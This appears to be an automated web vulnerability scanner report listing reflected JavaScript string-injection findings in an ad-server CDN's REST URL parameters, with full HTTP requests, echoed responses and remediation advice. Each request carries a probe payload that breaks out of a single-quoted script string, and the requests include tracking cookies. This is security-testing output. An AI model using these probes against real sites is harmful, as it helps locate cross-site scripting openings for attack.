GET //cgi/k/20142454/2305cb585'%3bfb49cec39f9/0/0/203687985/203687985//0/203/9542//3000007/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1499 Cache-Control: max-age=2591972 Expires: Mon, 28 Mar 2011 01:49:03 GMT Date: Sat, 26 Feb 2011 01:49:31 GMT Connection: close
var zzADS_CHAN = '203687985'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = z ...[SNIP]... <SCRIPT language=\'JavaScript1.1\' SRC="http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.6;sz=300x250;click0=http://o1.qnsr.com//cgi/c%3Fa=20142454%3Bx=2305cb585';fb49cec39f9%3Bg=0,0%3Bc=203687985,203687985%3Bi=0%3Bn=203%3Bs=9542%3B%3Bq=1%3Bk=' + zz_trd + ';ord=123456?"> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c0efa'%3be267596c3ab was submitted in the REST URL parameter 5. This input was echoed as c0efa';e267596c3ab in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20142454/2305/0c0efa'%3be267596c3ab/0/203687985/203687985//0/203/9542//3000007/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1499 Cache-Control: max-age=2591949 Expires: Mon, 28 Mar 2011 01:48:44 GMT Date: Sat, 26 Feb 2011 01:49:35 GMT Connection: close
var zzADS_CHAN = '203687985'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = z ...[SNIP]... <SCRIPT language=\'JavaScript1.1\' SRC="http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.6;sz=300x250;click0=http://o1.qnsr.com//cgi/c%3Fa=20142454%3Bx=2305%3Bg=0c0efa';e267596c3ab,0%3Bc=203687985,203687985%3Bi=0%3Bn=203%3Bs=9542%3B%3Bq=1%3Bk=' + zz_trd + ';ord=123456?"> ...[SNIP]...
The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7e74a'%3bbdfb1e10276 was submitted in the REST URL parameter 6. This input was echoed as 7e74a';bdfb1e10276 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20142454/2305/0/07e74a'%3bbdfb1e10276/203687985/203687985//0/203/9542//3000007/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1499 Cache-Control: max-age=2591985 Expires: Mon, 28 Mar 2011 01:49:23 GMT Date: Sat, 26 Feb 2011 01:49:38 GMT Connection: close
var zzADS_CHAN = '203687985'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = z ...[SNIP]... <SCRIPT language=\'JavaScript1.1\' SRC="http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.6;sz=300x250;click0=http://o1.qnsr.com//cgi/c%3Fa=20142454%3Bx=2305%3Bg=0,07e74a';bdfb1e10276%3Bc=203687985,203687985%3Bi=0%3Bn=203%3Bs=9542%3B%3Bq=1%3Bk=' + zz_trd + ';ord=123456?"> ...[SNIP]...
The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d3891'%3ba2a152fce1c was submitted in the REST URL parameter 7. This input was echoed as d3891';a2a152fce1c in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20142454/2305/0/0/203687985d3891'%3ba2a152fce1c/203687985//0/203/9542//3000007/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1517 Cache-Control: max-age=2592000 Expires: Mon, 28 Mar 2011 01:49:41 GMT Date: Sat, 26 Feb 2011 01:49:41 GMT Connection: close
var zzADS_CHAN = '203687985d3891';a2a152fce1c'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = zzPage_obj[zzADS_CHAN].zzTrd;
The value of REST URL parameter 8 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a25ba'%3bfe48c25a940 was submitted in the REST URL parameter 8. This input was echoed as a25ba';fe48c25a940 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20142454/2305/0/0/203687985/203687985a25ba'%3bfe48c25a940//0/203/9542//3000007/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1499 Cache-Control: max-age=2592000 Expires: Mon, 28 Mar 2011 01:49:44 GMT Date: Sat, 26 Feb 2011 01:49:44 GMT Connection: close
var zzADS_CHAN = '203687985'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = z ...[SNIP]... <SCRIPT language=\'JavaScript1.1\' SRC="http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.6;sz=300x250;click0=http://o1.qnsr.com//cgi/c%3Fa=20142454%3Bx=2305%3Bg=0,0%3Bc=203687985,203687985a25ba';fe48c25a940%3Bi=0%3Bn=203%3Bs=9542%3B%3Bq=1%3Bk=' + zz_trd + ';ord=123456?"> ...[SNIP]...
The value of REST URL parameter 9 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f04ab'%3b12625b2384 was submitted in the REST URL parameter 9. This input was echoed as f04ab';12625b2384 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20142454/2305/0/0/203687985/203687985//0f04ab'%3b12625b2384/203/9542//3000007/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1498 Cache-Control: max-age=2592000 Expires: Mon, 28 Mar 2011 01:49:47 GMT Date: Sat, 26 Feb 2011 01:49:47 GMT Connection: close
var zzADS_CHAN = '203687985'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = z ...[SNIP]... CRIPT language=\'JavaScript1.1\' SRC="http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.6;sz=300x250;click0=http://o1.qnsr.com//cgi/c%3Fa=20142454%3Bx=2305%3Bg=0,0%3Bc=203687985,203687985%3Bi=0f04ab';12625b2384%3Bn=203%3Bs=9542%3B%3Bq=1%3Bk=' + zz_trd + ';ord=123456?"> ...[SNIP]...
The value of REST URL parameter 10 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 46e63'%3bd4fe3ee258f was submitted in the REST URL parameter 10. This input was echoed as 46e63';d4fe3ee258f in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20142921/15105/0/0/203687990/203687990//0/20346e63'%3bd4fe3ee258f/9542//1000003/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1711 Cache-Control: max-age=2591995 Expires: Mon, 28 Mar 2011 01:49:43 GMT Date: Sat, 26 Feb 2011 01:49:48 GMT Connection: close
var zzADS_CHAN = '203687990'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = z ...[SNIP]... <a href="http://o1.qnsr.com//cgi/c?a=20142921;x=15105;c=203687990,203687990;i=0;n=20346e63';d4fe3ee258f;s=9542;q=1;' + zz_param + zz_ref + zzStr + ';k=' + zz_trd + 'http://altfarm.mediaplex.com/ad/ck/12309-121202-25586-3?mpt=%r"> ...[SNIP]...
The value of REST URL parameter 11 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 83ba7'%3bd9c36cdc5fd was submitted in the REST URL parameter 11. This input was echoed as 83ba7';d9c36cdc5fd in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20142921/15105/0/0/203687990/203687990//0/203/954283ba7'%3bd9c36cdc5fd//1000003/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1711 Cache-Control: max-age=2592000 Expires: Mon, 28 Mar 2011 01:49:52 GMT Date: Sat, 26 Feb 2011 01:49:52 GMT Connection: close
var zzADS_CHAN = '203687990'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = z ...[SNIP]... <a href="http://o1.qnsr.com//cgi/c?a=20142921;x=15105;c=203687990,203687990;i=0;n=203;s=954283ba7';d9c36cdc5fd;q=1;' + zz_param + zz_ref + zzStr + ';k=' + zz_trd + 'http://altfarm.mediaplex.com/ad/ck/12309-121202-25586-3?mpt=%r"> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 864ff'%3bc2f0de444d5 was submitted in the REST URL parameter 4. This input was echoed as 864ff';c2f0de444d5 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20142921/15105864ff'%3bc2f0de444d5/0/0/203687990/203687990//0/203/9542//1000003/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1711 Cache-Control: max-age=2592000 Expires: Mon, 28 Mar 2011 01:49:32 GMT Date: Sat, 26 Feb 2011 01:49:32 GMT Connection: close
var zzADS_CHAN = '203687990'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = z ...[SNIP]... <a href="http://o1.qnsr.com//cgi/c?a=20142921;x=15105864ff';c2f0de444d5;c=203687990,203687990;i=0;n=203;s=9542;q=1;' + zz_param + zz_ref + zzStr + ';k=' + zz_trd + 'http://altfarm.mediaplex.com/ad/ck/12309-121202-25586-3?mpt=%r"> ...[SNIP]...
The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c00dc'%3bc26396354fa was submitted in the REST URL parameter 7. This input was echoed as c00dc';c26396354fa in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20142921/15105/0/0/203687990c00dc'%3bc26396354fa/203687990//0/203/9542//1000003/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1729 Cache-Control: max-age=2592000 Expires: Mon, 28 Mar 2011 01:49:39 GMT Date: Sat, 26 Feb 2011 01:49:39 GMT Connection: close
var zzADS_CHAN = '203687990c00dc';c26396354fa'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = zzPage_obj[zzADS_CHAN].zzTrd;
The value of REST URL parameter 8 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6eb6c'%3b5079f91ec4f was submitted in the REST URL parameter 8. This input was echoed as 6eb6c';5079f91ec4f in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20142921/15105/0/0/203687990/2036879906eb6c'%3b5079f91ec4f//0/203/9542//1000003/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1711 Cache-Control: max-age=2592000 Expires: Mon, 28 Mar 2011 01:49:43 GMT Date: Sat, 26 Feb 2011 01:49:43 GMT Connection: close
var zzADS_CHAN = '203687990'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = z ...[SNIP]... <a href="http://o1.qnsr.com//cgi/c?a=20142921;x=15105;c=203687990,2036879906eb6c';5079f91ec4f;i=0;n=203;s=9542;q=1;' + zz_param + zz_ref + zzStr + ';k=' + zz_trd + 'http://altfarm.mediaplex.com/ad/ck/12309-121202-25586-3?mpt=%r"> ...[SNIP]...
The value of REST URL parameter 9 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 76eb8'%3b154269bab02 was submitted in the REST URL parameter 9. This input was echoed as 76eb8';154269bab02 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20142921/15105/0/0/203687990/203687990//076eb8'%3b154269bab02/203/9542//1000003/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
